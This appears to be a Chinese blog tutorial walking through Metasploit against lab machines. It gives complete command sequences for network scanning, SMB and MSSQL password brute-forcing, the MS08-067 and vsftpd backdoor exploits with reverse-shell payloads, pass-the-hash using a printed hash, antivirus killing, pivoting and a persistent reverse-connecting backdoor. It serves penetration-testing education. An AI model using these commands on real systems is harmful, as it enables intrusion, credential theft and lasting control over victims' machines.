渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第49张图片

搜寻配置不当的 Mircrosoft SQL Server

msf5 > use auxiliary/scanner/mssql/mssql_ping 
msf5 auxiliary(scanner/mssql/mssql_ping) > show options 
msf5 auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf5 auxiliary(scanner/mssql/mssql_ping) > set THREADS 255
THREADS => 255
msf5 auxiliary(scanner/mssql/mssql_ping) > run

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第50张图片

ssh服务扫描

msf5 > use auxiliary/scanner/ssh/ssh_version 
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf5 auxiliary(scanner/ssh/ssh_version) > set THREADS 100
THREADS => 100
msf5 auxiliary(scanner/ssh/ssh_version) > run

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第51张图片

FTP 扫描

1.版本扫描

msf5 > use auxiliary/scanner/ftp/ftp_version 
msf5 auxiliary(scanner/ftp/ftp_version) > show options 
msf5 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf5 auxiliary(scanner/ftp/ftp_version) > set THREADS 100
THREADS => 100
msf5 auxiliary(scanner/ftp/ftp_version) > run

2.检查是否允许匿名登录

msf5 > use auxiliary/scanner/ftp/anonymous 
msf5 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf5 auxiliary(scanner/ftp/anonymous) > set THREADS 100
THREADS => 100
msf5 auxiliary(scanner/ftp/anonymous) > run

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第52张图片

简单网络管理协议扫描

msf5 > use auxiliary/scanner/snmp/snmp_login 
msf5 auxiliary(scanner/snmp/snmp_login) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf5 auxiliary(scanner/snmp/snmp_login) > set THREADS 100
THREADS => 100
msf5 auxiliary(scanner/snmp/snmp_login) > run

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第53张图片

NetBIOS 协议扫描

msf5 > use auxiliary/scanner/netbios/nbname 
msf5 auxiliary(scanner/netbios/nbname) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf5 auxiliary(scanner/netbios/nbname) > set THREADS 100
THREADS => 100
msf5 auxiliary(scanner/netbios/nbname) > run

漏洞扫描

使用 Nessus 扫描

dpkg -i Nessus-8.12.1-debian6_amd64.deb

/bin/systemctl start nessusd.service

https://kali:8834/

导入 nessus 扫描结果

msf5 > db_status
[*] Connected to msf. Connection type: postgresql.
msf5 > db_import /home/kali/Downloads/My_Basic_Network_Scan_vdxc5z.nessus
msf5 > hosts -c address,svcs,vulns
vulns    #查看漏洞详细信息列表

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第54张图片

msf 中使用 nessus 扫描

load nessus
nessus_connect nessus:nessus@localhost:8834 ok    #连接nessus
nessus_policy_list       #查看策略
nessus_scan_new  #新建扫描标
nessus_scan_launch      #运行扫描
nessus_scan_list        #查看扫描列表
nessus_db_imprt id      #导入msf数据库

专用漏洞扫描器 --- 1.验证SMB登录

msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > show options 
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.0.100-110
RHOSTS => 192.168.0.100-110
msf5 auxiliary(scanner/smb/smb_login) > set SMBUSER administrator
SMBUSER => administrator
msf5 auxiliary(scanner/smb/smb_login) > set SMBPASS 123
SMBPASS => 123
msf5 auxiliary(scanner/smb/smb_login) > set VERBOSE false    #不输出所有的尝试
VERBOSE => false
msf5 auxiliary(scanner/smb/smb_login) > run

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第55张图片

扫描开放的VNC虚拟网络计算空口令

msf5 > use auxiliary/scanner/vnc/vnc_none_auth 
msf5 auxiliary(scanner/vnc/vnc_none_auth) > show options 
Module options (auxiliary/scanner/vnc/vnc_none_auth):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT    5900             yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)
msf5 auxiliary(scanner/vnc/vnc_none_auth) > set RHOSTS 192.168.0.105
RHOSTS => 192.168.0.105
msf5 auxiliary(scanner/vnc/vnc_none_auth) > run

vncviewer 192.168.0.105    #vnc连接

扫描开放的 X11 服务器

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第56张图片

渗透攻击

对 windows xp 的攻击

使用 nmap 扫描:nmap -sT -A --script=smb-vuln-ms08-067.nse -P0 192.168.0.106

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第57张图片

搜索并使用 ms08_067 渗透攻击模块

msf5 > search ms08_067
msf5 > use exploit/windows/smb/ms08_067_netapi
msf5 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms08_067_netapi) > show targets 
msf5 exploit(windows/smb/ms08_067_netapi) > set target 10
target => 10
msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.0.106
RHOSTS => 192.168.0.106
msf5 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.0.109
LHOST => 192.168.0.109
msf5 exploit(windows/smb/ms08_067_netapi) > set LPORT 8008
LPORT => 8008
msf5 exploit(windows/smb/ms08_067_netapi) > show options 
msf5 exploit(windows/smb/ms08_067_netapi) > exploit 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第58张图片

sessions 模块

meterpreter > shell                                           # 进入目标机器的shell
C:\WINDOWS\system32>ipconfig
meterpreter > background                                      # 后台运行反弹shell
msf5 exploit(windows/smb/ms08_067_netapi) > sessions -l -v    # 查看meterpreter会话的详细信息
msf5 exploit(windows/smb/ms08_067_netapi) > sessions -i 2     # 进入session id为2的会话

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第59张图片

攻击 Metasploitable 主机

nmap -sT -A -P0 192.168.0.105

搜索 vsftpd 渗透攻击模块

search vsftpd
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads 
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact 
payload => cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.0.105
RHOSTS => 192.168.0.105
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第60张图片

Meterpreter

xp 安装 ms_sql

使用 nmap 扫描:

nmap -sT -A -P0 192.168.0.106

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第61张图片

攻击MS SQL

扫描目标系统的 udp 1434 端口

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第62张图片

通过 mssql_ping 模块找出 MS SQL 服务端口,并进行用户名和口令的猜解

msf5 > use auxiliary/scanner/mssql/mssql_ping 
msf5 auxiliary(scanner/mssql/mssql_ping) > show options 
msf5 auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 192.168.0.106
RHOSTS => 192.168.0.106
msf5 auxiliary(scanner/mssql/mssql_ping) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/mssql/mssql_ping) > exploit 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第63张图片

暴力破解 MS SQL服务

msf5 > use auxiliary/scanner/mssql/mssql_login 
msf5 auxiliary(scanner/mssql/mssql_login) > show options 
msf5 auxiliary(scanner/mssql/mssql_login) > set PASS_FILE /root/pass.txt
PASS_FILE => /root/pass.txt
msf5 auxiliary(scanner/mssql/mssql_login) > set THREADS 10
THREADS => 10
msf5 auxiliary(scanner/mssql/mssql_login) > set VERBOSE false
msf5 auxiliary(scanner/mssql/mssql_login) > set USERNAME sa
USERNAME => sa
msf5 auxiliary(scanner/mssql/mssql_login) > set RHOSTS 192.168.0.106
RHOSTS => 192.168.0.106
msf5 auxiliary(scanner/mssql/mssql_login) > exploit 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第64张图片

xp_cmdshell

 渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第65张图片

 msf5 > use exploit/windows/mssql/mssql_payload
msf5 exploit(windows/mssql/mssql_payload) > show options 
msf5 exploit(windows/mssql/mssql_payload) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/mssql/mssql_payload) > set LHOST 192.168.0.106
LHOST => 192.168.0.106
msf5 exploit(windows/mssql/mssql_payload) > set LPORT 5555
LPORT => 5555
msf5 exploit(windows/mssql/mssql_payload) > unset LHOST 
Unsetting LHOST...
msf5 exploit(windows/mssql/mssql_payload) > set LHOST 192.168.0.109
LHOST => 192.168.0.109
msf5 exploit(windows/mssql/mssql_payload) > set RHOSTS 192.168.0.106
RHOSTS => 192.168.0.106
msf5 exploit(windows/mssql/mssql_payload) > set PASSWORD 123
PASSWORD => 123
msf5 exploit(windows/mssql/mssql_payload) > exploit 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第66张图片

meterpreter 基本命令

截屏

meterpreter > screenshot
Screenshot saved to: /home/kali/NCqEAJcr.jpeg

sysinfo

meterpreter > sysinfo 
Computer        : XP-1A6862CF7BC
OS              : Windows XP (5.1 Build 2600, Service Pack 2).
Architecture    : x86
System Language : zh_CN
Domain          : MSHOME
Logged On Users : 3
Meterpreter     : x86/windows

hashdump

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第67张图片

传递哈希值

当抓取到 Hash 值,无法在短时间内破解出明文密码,可以通过传递 hash值,使用windows/smb/psexec 模块

msf5 > use windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set LHOST 192.168.0.109
LHOST => 192.168.0.109
msf5 exploit(windows/smb/psexec) > set LPORT 443
LPORT => 443
msf5 exploit(windows/smb/psexec) > set RHOSTS 192.168.0.106
RHOSTS => 192.168.0.106
msf5 exploit(windows/smb/psexec) > set SMBPASS ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678

通过跳板 xp 攻击 metasploitable

建立路由

meterpreter > run get_local_subnets 
msf5 > route add 192.168.0.0 255.255.255.0 2        #192.168.0.0/24是metasploitable的网络   2是session id
[*] Route added
msf5 > route print 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第68张图片

攻击

msf5 > use exploit/unix/ftp/vsftpd_234_backdoor 
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact 
PAYLOAD => cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.0.105
RHOSTS => 192.168.0.105
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > ifconfig

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第69张图片

使用 Meterpreter 脚本

vnc

meterpreter > run vnc
meterpreter > run screen_unlock 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第70张图片

迁移进程

run post/windows/manage/migrate

关闭杀毒软件

run killav

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第71张图片

hashdump

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第72张图片

查看目标机器上的流量

run packetrecorder -i 1

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第73张图片

获取系统信息

meterpreter > run scraper 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第74张图片

控制持久化

meterpreter > run persistence -X -i 50 -p 443 -r 192.168.0.109    #-X开机自启动, -I 50秒重连一次
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > exploit 
 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第75张图片

通过附加的 Railgun 组件操作 WindowsAPI

你可能感兴趣的:(渗透测试,安全)